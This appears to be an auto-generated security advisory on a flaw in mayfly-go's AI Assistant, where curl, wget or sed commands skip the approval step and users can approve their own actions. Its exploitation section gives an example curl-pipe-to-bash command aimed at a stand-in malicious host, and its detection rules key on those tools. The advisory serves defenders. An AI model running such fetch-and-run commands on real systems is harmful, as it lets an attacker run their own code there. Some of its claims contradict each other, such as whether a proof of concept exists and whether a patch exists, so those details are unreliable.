CVE-2026-92992

Executive Summary

CVE-2026-92992 is a missing authorization vulnerability (CWE-862) in the Dromara mayfly-go platform's AI Assistant component, affecting versions up to and including 1.11.5. The flaw resides in an unknown function within server/internal/ai/api/ai.go, where a one-token-wide whitelist bypass permits any compound command containing curl, wget, or sed to execute without user approval, compounded by a self-approval mechanism allowing the same session user to authorize their own actions. With a CVSS base score of 6.3 and a publicly disclosed exploit, this presents a significant remote risk to organizations running the affected software, enabling unauthorized command execution and potential lateral movement within the environment.

Technical Analysis

The vulnerability is classified as a missing authorization flaw (CWE-862) within the AI Assistant component of Dromara mayfly-go. The NVD description identifies the affected element as an unknown function in the file server/internal/ai/api/ai.go, which handles AI-driven command execution or assistant interactions. The core mechanism involves a command whitelist that is improperly enforced—specifically, the bypass is "one-token wide." This suggests that the authorization logic checks for the presence of specific tokens (curl, wget, or sed) within a command string, and if any of these are detected, the command is automatically executed without requiring explicit user approval.

Critically, the approval process is flawed because the same session user who initiates the command can also grant approval, eliminating any dual-control or administrative oversight. This design weakness transforms what should be a gated operation into an autonomous execution path for potentially malicious commands. The attack surface is remote (AV:N) and requires low privileges (PR:L), meaning an attacker with a valid low-privileged session can leverage the AI Assistant to run arbitrary commands that include those specific tokens. The patch, identified by commit 74bcb926eb4f5f94e7681144d7bf2168a0ec7cde, was applied silently, indicating the vendor did not publicly disclose the fix details, which complicates detection and remediation efforts for defenders. No further technical specifics—such as exact function names, parameter names, or API endpoints—are available in the provided description, so the analysis remains at the vulnerability-class level.

Exploitation Scenarios

Given the absence of a public PoC, the attack chain is inferred from the vulnerability class and the specific bypass mechanism described.

1. Reconnaissance/Target Identification: An attacker scans for exposed mayfly-go instances, typically accessible via HTTP/HTTPS on common web ports. Shodan dorks such as http.title:"mayfly-go" or http.html:"mayfly-go" can identify potential targets. The attacker must obtain a low-privileged session, either through valid credentials (e.g., default or weak passwords) or by exploiting other vulnerabilities in the platform.

2. Triggering the Flaw: Once authenticated, the attacker interacts with the AI Assistant component. They craft a command that includes one of the bypass tokens (curl, wget, or sed) embedded within a compound command. For example, a command like echo test && curl http://malicious.example/payload.sh | bash would be auto-approved because the whitelist check detects the curl token, bypassing the normal approval requirement. The "one-token-wide" bypass means the authorization logic likely only inspects for the presence of these tokens without robust parsing, allowing trivial evasion.

3. Payload/Execution Method: The attacker submits the crafted command through the AI Assistant interface. Due to the self-approval flaw, the same session user's approval is automatically granted (or the command is executed without needing separate approval). The command runs with the privileges of the mayfly-go service account, which may have access to underlying systems, databases, or container environments.

4. Post-Exploitation Impact: Successful exploitation allows remote command execution, enabling the attacker to download and execute further payloads, exfiltrate sensitive data (e.g., configuration files, credentials, or SSH keys), establish persistence, or pivot to other internal systems accessible from the mayfly-go host. The impact is constrained by the service account's permissions (CVSS Integrity and Availability impacts are Low, Confidentiality is Low), but in practice, mayfly-go often operates with elevated privileges to manage infrastructure, potentially increasing the blast radius.

Impact Assessment

The CVSS v3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L yields a base score of 6.3 (Medium). The attack is network-accessible with low complexity, requiring only low privileges and no user interaction. The scope is unchanged, and the impacts to confidentiality, integrity, and availability are all rated Low. However, in the context of an AI-driven infrastructure management tool, even low-impact command execution can have outsized consequences. Affected systems include any deployment of Dromara mayfly-go version 1.11.5 or earlier with the AI Assistant component enabled. The blast radius encompasses the mayfly-go server and any connected resources (databases, cloud services, or managed hosts) that the service account can reach. Given the public disclosure of the exploit and no official patch available from tracked sources, the risk of active exploitation is heightened.

Detection Guidance

Sigma Rule

title: Dromara mayfly-go AI Assistant Command Execution Bypass
id: 7a3b9c1e-2f4d-4a5b-8c6d-9e0f1a2b3c4d
status: experimental
description: Detects commands containing curl, wget, or sed executed via the AI Assistant component, indicating exploitation of CVE-2026-92992.
author: Valters IT Threat Intelligence
date: 2026-01-01
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/sed'
    ParentImage|endswith: '/mayfly-go'
  condition: selection
fields:
  - CommandLine
  - ParentImage
  - User
falsepositives:
  - Legitimate administrative scripts using curl/wget/sed
level: high

YARA Rule

rule CVE_2026_92992_mayfly_go_auth_bypass
{
    meta:
        description = "Detects exploitation attempts targeting the AI Assistant command whitelist bypass in Dromara mayfly-go"
        author = "Valters IT Threat Intelligence"
        date = "2026-01-01"
        reference = "CVE-2026-92992"
    strings:
        $a = "curl" ascii wide nocase
        $b = "wget" ascii wide nocase
        $c = "sed" ascii wide nocase
        $d = "ai.go" ascii wide nocase
        $e = "ai/api" ascii wide nocase
    condition:
        (uint32(0) == 0x464c457f or uint32(0) == 0x7f454c46) and
        (any of ($a, $b, $c)) and
        (any of ($d, $e))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-92992 Dromara mayfly-go AI Assistant Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api/ai"; http_uri; content:"curl"; http_client_body; nocase; content:"|3B|"; http_client_body; nocase; sid:1000929; rev:1;)

Elastic Detection

process where event.type == "start" and
  process.parent.name == "mayfly-go" and
  (process.name : ("curl", "wget", "sed") or process.command_line : ("*curl*", "*wget*", "*sed*"))

Splunk SPL Query

index=main source="*mayfly-go*" OR sourcetype="linux_secure"
| search ("curl" OR "wget" OR "sed")
| eval risk_score=case(match(_raw, "curl.*http"), 90, match(_raw, "wget.*http"), 90, match(_raw, "sed.*-i"), 70, true(), 50)
| where risk_score > 60
| stats count by host, user, process, command_line, risk_score
| sort - risk_score

Wazuh OSSEC Rule

<group name="mayfly-go,CVE-2026-92992,">
  <rule id="100929" level="12">
    <if_sid>1000</if_sid>
    <field name="command">curl|wget|sed</field>
    <description>CVE-2026-92992: Potential AI Assistant command whitelist bypass in Dromara mayfly-go</description>
    <mitre>
      <id>T1548</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations:

   • Disable the AI Assistant component if not strictly required.
   • Restrict network access to the mayfly-go web interface using firewall rules or VPN-only access.
   • Enforce strong authentication and least-privilege principles for mayfly-go service accounts.
   • Monitor logs for commands containing curl, wget, or sed initiated by the mayfly-go process.
   • Deploy the detection rules provided above to identify exploitation attempts.

2. Patch/Upgrade Steps:

   • The vendor released a silent patch via commit 74bcb926eb4f5f94e7681144d7bf2168a0ec7cde. Administrators should apply this commit manually or wait for an official release that incorporates it.
   • Check the Dromara mayfly-go repository for updated versions beyond 1.11.5 and upgrade as soon as available.
   • Verify the integrity of the patched code by reviewing the commit history.

3. Long-term Hardening:

   • Implement robust authorization checks with dual-control approval mechanisms for sensitive command execution.
   • Conduct regular security audits of AI-driven features, focusing on input validation and command whitelisting.
   • Adopt a secure software development lifecycle (SSDLC) that includes threat modeling for AI assistant integrations.
   • Subscribe to vendor security advisories and CVE feeds to ensure timely patching of future vulnerabilities.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-92992
• Patch Commit: https://github.com/dromara/mayfly-go/commit/74bcb926eb4f5f94e7681144d7bf2168a0ec7cde
• CWE-862 Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
• MITRE ATT&CK T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
• Dromara mayfly-go GitHub Repository: https://github.com/dromara/mayfly-go

No known threat actor campaigns or exploit-in-the-wild evidence have been reported at this time, but the public disclosure and lack of official patch elevate the risk of future exploitation.